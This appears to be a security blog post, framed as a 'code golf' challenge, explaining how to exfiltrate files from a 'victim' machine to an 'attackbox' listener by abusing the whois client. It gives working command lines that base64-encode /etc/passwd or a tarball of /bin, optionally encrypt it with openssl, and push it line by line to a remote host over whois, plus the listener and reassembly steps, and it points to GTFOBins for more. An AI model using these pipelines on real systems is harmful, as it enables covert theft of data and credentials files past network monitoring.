If you have never played Code Golf before, the essential idea is that you take a programming goal, such as “Print all prime numbers from 1 to 100”, and then try to do so in the most efficient / least amount of lines possible.
There is a great website where these challenges can be found: https://code-golf.io/
I enjoy playing code golf, so when I saw the following tweet, I had to try it out:
The tweet 1102558893513687040 from @Kevin2600 was deleted but it had the following commands in the image: (making up an IP since it was blacked out):
whois -h 10.110.10.81 -p 4444 `cat /etc/passwd | base64`
nc -l -p 4444
Now, a lot of respondents mentioned that you could use the
/dev/tcp method or
While this is awesome and true, and for practicality should be used instead of
whois, it is more about the mental stretch and exercise for me. You never know, there might a situation where you can’t use either of those and
whois is still there.
This is the solution I came up with to both increase the file size limit, and add a bit of error correction:
(Here is my reply: https://twitter.com/mubix/status/1102780435271176198)
First we set up a listener:
root@attackbox:~# ncat -k -l -p 4444 | tee files.b64
tee is used to pipe the contents to a file as well as see it on the console so you can make sure you have it. You can substitute this with just
> files.b64 if you wish.
-k: means keep the connection open. We need this option as we are going to be doing many requests with
-l: listen on a port.. and
-p: what port to listen on
Next we send the files over the wire:
root@victim:~# tar czf - /bin/* | base64 | xargs -I bits timeout 0.03 whois -h 192.168.80.107 -p 4444 bits
tar czf - /bin/*: Create a
tarball using compression(
c), and gzip(
z) to the file(
f) of standard output(
-) using all of the files in the
base64: Base64 encode that standard output
xargs -I bits: for every line do the following command while replacing the word
bitsin the command with the contents of the preceding lines (from the base64)
timeout 0.03: This times out the
whoiscommand so that it closes the connection because there isn’t a response from the other end (it’s just capturing packets). This is REALLY fast and only should be used in LAN connections. Set the timeout to
0.10or similar for doing things across the Internet.
whois -h 192.168.80.107 -p 4444 bits: Send the
bits(which is replaced with the base64 line)
What you should see on the attacker side is a bunch of Base64 lines scrolling across the screen.
root@attackbox:~# cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv
cat files.b64: print all the base64 lines to standard output
tr -d '\r\n': remove all the newlines and returns to make one long base64 line to decode
base64 -d: decode the base64 line
xextract the tar ball using
zgzip and be
vverbose about it.
If you receive a
base64: invalid inputwhen doing the final step it is most likely that your timeout was too fast and some of the lines didn’t transfer completely.
If you get something like the following you have had some corruption during the transfer. This can happen and does so a lot during such a long transfer (13 MB took 98 minutes as you’ll see below).
bin/bash bin/brltty gzip: stdin: invalid compressed data--format violated tar: Unexpected EOF in archive tar: Unexpected EOF in archive tar: Error is not recoverable: exiting now
One improvement to the speed is the number of bytes you send with each
whois request, which is based on the line length of the base64 output with the
-w flag. I have been able to increase this to 255 without much trouble like so:
tar czf - /bin/* | base64 -w255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits
Even with this speed up sending all of
/bin/ took 98 minutes using a timeout of
0.20. You can decrease this considerably depending on the network connection you have between the victim and attackerbox, but you need to be careful or you’ll end up with corrupted data if you go too fast.
root@victim:~# du -h /bin/ 13M /bin/
root@victim:~# time tar czf - /bin/* | base64 -w 255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits real 98m7.673s user 1m25.792s sys 0m46.706s
While adding encryption will add more complexity and size to the transfer it will ensure confidentiality of the data being transfered. Simply adding
openssl enc -e -aes256 -out - to the line before the
base64 works to solve this (as long as you select a good password). You will also need a full TTY (interactive terminal) to do this as it will prompt you for a password twice.
tar czf - /bin/* | openssl enc -e -aes256 -out - | base64 -w 255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits
Think you can make this more efficient? Add error correction? I would love to see tweets or comments stating where this can be improved using only built in binaries (no python/ruby/perl/awk). Let me know! I look forward to hearing from you.
For those looking for a lot more file uploads or other such exploitation techniques, check out GTFOBins and in particular https://gtfobins.github.io/#+file%20upload.
whois is detailed here: https://gtfobins.github.io/gtfobins/whois/